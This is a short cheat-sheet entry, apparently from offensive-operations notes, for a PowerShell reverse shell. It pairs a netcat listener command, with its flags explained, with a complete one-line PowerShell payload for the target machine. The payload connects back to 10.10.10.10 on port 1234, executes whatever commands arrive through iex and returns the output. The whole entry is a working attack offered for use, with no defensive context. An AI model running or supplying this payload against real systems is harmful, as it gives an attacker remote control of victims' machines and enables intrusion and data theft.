POWERSHELL

OCO

#setup listener
root@oco:~$ nc -lvnp {listeningPort}
 listening on [any] {listeningPort} ...

 * the -l represents listening mode; it waits for a connection from the target.
   the -v represents verbose mode
   the -n disables DNS resolution; this speeds up the connection.
   the -p {listeningPort} represents the port number to listen on

TARGET

PS C:\> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"